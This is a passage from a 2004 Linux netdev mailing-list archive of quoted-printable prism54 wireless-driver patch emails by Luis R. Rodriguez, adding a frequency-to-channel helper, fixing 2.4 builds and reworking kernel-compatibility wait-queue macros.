linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.9 retrieving revision 1.11 diff -u -r1.9 -r1.11 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 18 Mar 2004 15:2= 7:44 -0000 1.9 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 19 Mar 2004 23:0= 3:58 -0000 1.11 @@ -31,6 +31,27 @@ 5240, 5260, 5280, 5300, 5320 }; =20 +int +channel_of_freq(int f) +{ + int c =3D 0; + + if ((f >=3D 2412) && (f <=3D 2484)) { + while ((c < 14) && (f !=3D frequency_list_bg[c])) + c++; + if (c >=3D 14) + return 0; + } else if ((f >=3D (int) 5170) && (f <=3D (int) 5320)) { + while ((c < 12) && (f !=3D frequency_list_a[c])) + c++; + if (c >=3D 12) + return 0; + } else + return 0; + + return ++c; +} + #define OID_STRUCT(name,oid,s,t) [name] =3D {oid, 0, sizeof(s), t} #define OID_STRUCT_C(name,oid,s,t) OID_STRUCT(name,oid,s,t | OID_FLAG_CACH= ED) #define OID_U32(name,oid) OID_STRUCT(name,oid,u32,OID_TYPE_U32) Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.h,v retrieving revision 1.4 retrieving revision 1.5 diff -u -r1.4 -r1.5 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h 18 Mar 2004 15:2= 7:44 -0000 1.4 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h 19 Mar 2004 20:5= 4:33 -0000 1.5 @@ -28,9 +28,10 @@ =20 void mgt_clean(islpci_private *); =20 +/* I don't know where to put these 3 */ extern const int frequency_list_bg[]; - extern const int frequency_list_a[]; +int channel_of_freq(int); =20 void mgt_le_to_cpu(int, void *); =20 --SKW69dzTt3T8RCN0-- --5joxkA65nhhP20dL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbLyat1JN+IKUl4RAp8jAKCHkr7ygtOLaSBy1d98FOKIwdzVywCdFPS6 o9RWEaNjqGbhICVey9o/p+0= =zPAo -----END PGP SIGNATURE----- --5joxkA65nhhP20dL-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:33:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:33:15 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8X5KO013521 for ; Mon, 24 May 2004 01:33:06 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 6BAC5F9D4B; Mon, 24 May 2004 04:33:05 -0400 (EDT) Date: Mon, 24 May 2004 04:33:05 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 7/14 linux-2.6.7-rc1] prism54: Fix 2.4 build Message-ID: <20040524083305.GH3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8QM4kKE+nfbBA4vJ" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5265 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --8QM4kKE+nfbBA4vJ Content-Type: multipart/mixed; boundary="Jaerp9zHWz52Eeko" Content-Disposition: inline --Jaerp9zHWz52Eeko Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-04-05 Margit Schubert-While * Fix 2.4 builds --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --Jaerp9zHWz52Eeko Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="07-fix-24-build.patch" Content-Transfer-Encoding: quoted-printable 2004-04-05 Margit Schubert-While * Fix 2.4 builds Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat.h,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 20 Mar 2004 = 18:23:28 -0000 1.1 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 5 Apr 2004 0= 4:19:25 -0000 1.2 @@ -20,6 +20,10 @@ * Compatibility header file to aid support of different kernel versions */ =20 +#ifdef PRISM54_COMPAT24 +#include "prismcompat24.h" +#else /* PRISM54_COMPAT24 */ + #ifndef _PRISM_COMPAT_H #define _PRISM_COMPAT_H =20 @@ -45,3 +49,4 @@ #define PRISM_FW_PDEV &priv->pdev->dev =20 #endif /* _PRISM_COMPAT_H */ +#endif /* PRISM54_COMPAT24 */ --Jaerp9zHWz52Eeko-- --8QM4kKE+nfbBA4vJ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNBat1JN+IKUl4RAnDtAJwIARw99avzGhH2IT4wVh+l+dTXQgCeMJsX MM2kqokwRP2o/cAQ3Og9UZo= =9IUB -----END PGP SIGNATURE----- --8QM4kKE+nfbBA4vJ-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:33:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:34:24 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8XcKO013719 for ; Mon, 24 May 2004 01:33:38 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 23767F9D56; Mon, 24 May 2004 04:33:38 -0400 (EDT) Date: Mon, 24 May 2004 04:33:38 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 11/14 linux-2.6.7-rc1] prism54: Touched up kernel compatibility Message-ID: <20040524083338.GL3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1lE8Wy7Exphh2Vpg" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5268 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --1lE8Wy7Exphh2Vpg Content-Type: multipart/mixed; boundary="Fh5LqGQwq8YwuKb/" Content-Disposition: inline --Fh5LqGQwq8YwuKb/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-04-20 Aurelien Alleaume * prismcompat.h, prismcompat24.h: splitted PRISM_DEFWAITQ into PRISM_DEFWAITQ and PRISM_PREPWAITQ for islpci_mgt_transaction (islpci_mgt.c). Adapted related code (islpci_mgt.c, islpci_dev.c). --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --Fh5LqGQwq8YwuKb/ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="11-fix-prismcompat.patch" Content-Transfer-Encoding: quoted-printable 2004-04-20 Aurelien Alleaume * prismcompat.h, prismcompat24.h: splitted PRISM_DEFWAITQ into=20 PRISM_DEFWAITQ and PRISM_PREPWAITQ for islpci_mgt_transaction=20 (islpci_mgt.c). Adapted related code (islpci_mgt.c, islpci_dev.c). Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.75 retrieving revision 1.76 diff -u -r1.75 -r1.76 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 17 Apr 2004 0= 8:46:04 -0000 1.75 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 19 Apr 2004 1= 8:33:45 -0000 1.76 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.75 2004/04/17 0= 8:46:04 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.76 2004/04/19 1= 8:33:45 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -348,7 +348,8 @@ int result =3D -ETIME; int count; =20 - PRISM_DEFWAITQ(priv->reset_done, wait); + PRISM_DEFWAITQ(wait); + PRISM_PREPWAITQ(priv->reset_done, wait); =09 /* now the last step is to reset the interface */ isl38xx_interface_reset(priv->device_base, priv->device_host_address); Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v retrieving revision 1.45 retrieving revision 1.46 diff -u -r1.45 -r1.46 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 10 Apr 2004 0= 3:16:55 -0000 1.45 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 19 Apr 2004 1= 8:33:45 -0000 1.46 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.45 2004/04/10 0= 3:16:55 msw Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.46 2004/04/19 1= 8:33:45 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright 2004 Jens Maurer @@ -456,11 +456,12 @@ const long wait_cycle_jiffies =3D (ISL38XX_WAIT_CYCLE * 10 * HZ) / 1000; long timeout_left =3D ISL38XX_MAX_WAIT_CYCLES * wait_cycle_jiffies; int err; + PRISM_DEFWAITQ(wait); =20 if (down_interruptible(&priv->mgmt_sem)) return -ERESTARTSYS; =20 - PRISM_DEFWAITQ(priv->mgmt_wqueue, wait); + PRISM_PREPWAITQ(priv->mgmt_wqueue, wait); err =3D islpci_mgt_transmit(ndev, operation, oid, senddata, sendlen); if (err) goto out; Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat.h,v retrieving revision 1.2 retrieving revision 1.3 diff -u -r1.2 -r1.3 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 5 Apr 2004 0= 4:19:25 -0000 1.2 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat.h 19 Apr 2004 = 18:33:45 -0000 1.3 @@ -39,8 +39,9 @@ =20 #define prism54_synchronize_irq(irq) synchronize_irq(irq) =20 -#define PRISM_DEFWAITQ(x, y) DEFINE_WAIT(y); \ - prepare_to_wait(&(x), &(y), TASK_UNINTERRUPTIBLE) +#define PRISM_DEFWAITQ(y) DEFINE_WAIT(y) + +#define PRISM_PREPWAITQ(x, y) prepare_to_wait(&(x), &(y), TASK_UNINTERRUPT= IBLE) =20 #define PRISM_ENDWAITQ(x, y) finish_wait(&(x), &(y)) =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat24.h,v retrieving revision 1.2 retrieving revision 1.3 diff -u -r1.2 -r1.3 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 13 Apr 200= 4 08:20:13 -0000 1.2 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 19 Apr 200= 4 18:33:45 -0000 1.3 @@ -55,8 +55,8 @@ =20 #define prism54_synchronize_irq(irq) synchronize_irq() =20 -#define PRISM_DEFWAITQ(x, y) DECLARE_WAITQUEUE(y, current); \ - set_current_state(TASK_UNINTERRUPTIBLE); \ +#define PRISM_DEFWAITQ(y) DECLARE_WAITQUEUE(y, current) +#define PRISM_PREPWAITQ(x, y) set_current_state(TASK_UNINTERRUPTIBLE); \ add_wait_queue(&(x), &(y)) =20 #define PRISM_ENDWAITQ(x, y) remove_wait_queue(&(x), &(y)); \ --Fh5LqGQwq8YwuKb/-- --1lE8Wy7Exphh2Vpg Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNiat1JN+IKUl4RAn4lAJ9aWxmwdaahFZSnXtDTGcevmAkjXQCgoQMg +6vP2iasG0vvPpQjoXo15nI= =VcEb -----END PGP SIGNATURE----- --1lE8Wy7Exphh2Vpg-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:32:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:34:11 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8WKKO013111 for ; Mon, 24 May 2004 01:32:21 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 55B71F9D4B; Mon, 24 May 2004 04:32:20 -0400 (EDT) Date: Mon, 24 May 2004 04:32:20 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility Message-ID: <20040524083220.GF3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jmkJtp15SxLq1SbD" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5267 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --jmkJtp15SxLq1SbD Content-Type: multipart/mixed; boundary="SqJDPA0lBYgnDFWV" Content-Disposition: inline --SqJDPA0lBYgnDFWV Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-03-20 Margit Schubert-While * isl_38xx.[ch], isl_ioctl.c, islpci_dev.[ch], islpci_eth.c islpci_hotplug.c, islpci_mgt.[ch], oid_mgt.c: Adopt new prism54 kernel compatibility. * prismcompat.h, prismcompat24.h: New compatibility work --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --SqJDPA0lBYgnDFWV Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="05-new_kernel_compatibility.patch" Content-Transfer-Encoding: quoted-printable 2004-03-20 Margit Schubert-While * isl_38xx.[ch], isl_ioctl.c, islpci_dev.[ch], islpci_eth.c islpci_hotplug.c, islpci_mgt.[ch], oid_mgt.c: Adopt new=20 prism54 kernel compatibility.=20 * prismcompat.h, prismcompat24.h: New compatibility work Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_38xx.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_38xx.c,v retrieving revision 1.25 retrieving revision 1.26 diff -u -r1.25 -r1.26 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_38xx.c 18 Mar 2004 05:= 25:24 -0000 1.25 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_38xx.c 20 Mar 2004 16:= 58:36 -0000 1.26 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_38xx.c,v 1.22 2004/02/28 03:= 06:07 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_38xx.c,v 1.26 2004/03/20 16:= 58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003-2004 Luis R. Rodriguez _ @@ -25,17 +25,11 @@ #include #include =20 -#include "isl_38xx.h" -#include - #include #include =20 -#include -#if !defined(CONFIG_FW_LOADER) && !defined(CONFIG_FW_LOADER_MODULE) -#error No Firmware Loading configured in the kernel ! -#endif - +#include "prismcompat.h" +#include "isl_38xx.h" #include "islpci_dev.h" #include "islpci_mgt.h" =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_38xx.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_38xx.h,v retrieving revision 1.24 retrieving revision 1.25 diff -u -r1.24 -r1.25 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_38xx.h 18 Mar 2004 05:= 25:24 -0000 1.24 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_38xx.h 20 Mar 2004 16:= 58:36 -0000 1.25 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_38xx.h,v 1.22 2004/02/28 03:= 06:07 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_38xx.h,v 1.25 2004/03/20 16:= 58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * @@ -22,14 +22,6 @@ =20 #include #include - -#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,75)) -#include -# define _REQ_FW_DEV_T struct device * -#else -# define _REQ_FW_DEV_T char * -#endif - #include =20 #define ISL38XX_CB_RX_QSIZE 8 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.148 retrieving revision 1.149 diff -u -r1.148 -r1.149 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 19 Mar 2004 23= :03:58 -0000 1.148 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 20 Mar 2004 16= :58:36 -0000 1.149 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.148 2004/03/19 2= 3:03:58 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.149 2004/03/20 1= 6:58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -25,10 +25,10 @@ #include #include #include -#include =20 #include =20 +#include "prismcompat.h" #include "isl_ioctl.h" #include "islpci_mgt.h" #include "isl_oid.h" /* additional types and defs for isl38xx fw */ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.72 retrieving revision 1.73 diff -u -r1.72 -r1.73 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 19 Mar 2004 2= 0:54:33 -0000 1.72 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 20 Mar 2004 1= 6:58:36 -0000 1.73 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.72 2004/03/19 2= 0:54:33 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.73 2004/03/20 1= 6:58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -30,6 +30,7 @@ =20 #include =20 +#include "prismcompat.h" #include "isl_38xx.h" #include "isl_ioctl.h" #include "islpci_dev.h" @@ -37,12 +38,6 @@ #include "islpci_eth.h" #include "oid_mgt.h" =20 -#if LINUX_VERSION_CODE <=3D KERNEL_VERSION(2,5,0) -#define prism54_synchronize_irq(irq) synchronize_irq() -#else -#define prism54_synchronize_irq(irq) synchronize_irq(irq) -#endif - #define ISL3877_IMAGE_FILE "isl3877" #define ISL3890_IMAGE_FILE "isl3890" =20 @@ -325,11 +320,7 @@ printk(KERN_DEBUG "%s: uploading firmware...\n", priv->ndev->name); =20 rc =3D isl38xx_upload_firmware(priv->firmware, -#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,75)) - &priv->pdev->dev, -#else - pci_name(priv->pdev), -#endif + PRISM_FW_PDEV, priv->device_base, priv->device_host_address); if (rc) { @@ -357,15 +348,7 @@ int result =3D -ETIME; int count; =20 -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) - /* This is 2.6 specific, nicer, shorter, but not in 2.4 yet */ - DEFINE_WAIT(wait); - prepare_to_wait(&priv->reset_done, &wait, TASK_UNINTERRUPTIBLE); -#else - DECLARE_WAITQUEUE(wait, current); - set_current_state(TASK_UNINTERRUPTIBLE); - add_wait_queue(&priv->reset_done, &wait); -#endif + PRISM_DEFWAITQ(priv->reset_done, wait); =09 /* now the last step is to reset the interface */ isl38xx_interface_reset(priv->device_base, priv->device_host_address); @@ -390,13 +373,7 @@ =20 } =20 -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) - /* 2.6 specific too */ - finish_wait(&priv->reset_done, &wait); -#else - remove_wait_queue(&priv->reset_done, &wait); - set_current_state(TASK_RUNNING); -#endif + PRISM_ENDWAITQ(priv->reset_done, wait); =20 if(result) return result; Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v retrieving revision 1.58 retrieving revision 1.59 diff -u -r1.58 -r1.59 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 19 Mar 2004 2= 0:54:33 -0000 1.58 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 20 Mar 2004 1= 6:58:36 -0000 1.59 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.58 2004/03/19 2= 0:54:33 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.59 2004/03/20 1= 6:58:36 mcgrof Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc.=20 * Copyright (C) 2003 Herbert Valerio Riedel @@ -29,20 +29,6 @@ #include #include =20 -#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,41) -# include -#else -# include -# define work_struct tq_struct -# define INIT_WORK INIT_TQUEUE -# define schedule_work schedule_task -#endif - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2,4,23) -#define free_netdev(x) kfree(x)=20 -#define pci_name(x) x->slot_name=20 -#endif - #include "isl_38xx.h" #include "isl_oid.h" #include "islpci_mgt.h" @@ -210,12 +196,6 @@ =20 #define ISLPCI_TX_TIMEOUT (2*HZ) =20 -#if (LINUX_VERSION_CODE <=3D KERNEL_VERSION(2,5,75)) -# define irqreturn_t void -# define IRQ_HANDLED -# define IRQ_NONE -#endif - irqreturn_t islpci_interrupt(int, void *, struct pt_regs *); =20 int prism54_post_setup(islpci_private *, int); Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v retrieving revision 1.33 retrieving revision 1.35 diff -u -r1.33 -r1.35 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 19 Mar 2004 2= 3:03:58 -0000 1.33 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 20 Mar 2004 1= 6:58:36 -0000 1.35 @@ -1,4 +1,4 @@ -/* $Header: 